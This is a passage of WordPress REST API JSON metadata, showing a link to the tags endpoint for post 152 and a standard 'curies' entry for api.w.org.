/wp-json\/wp\/v2\/tags?post=152"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}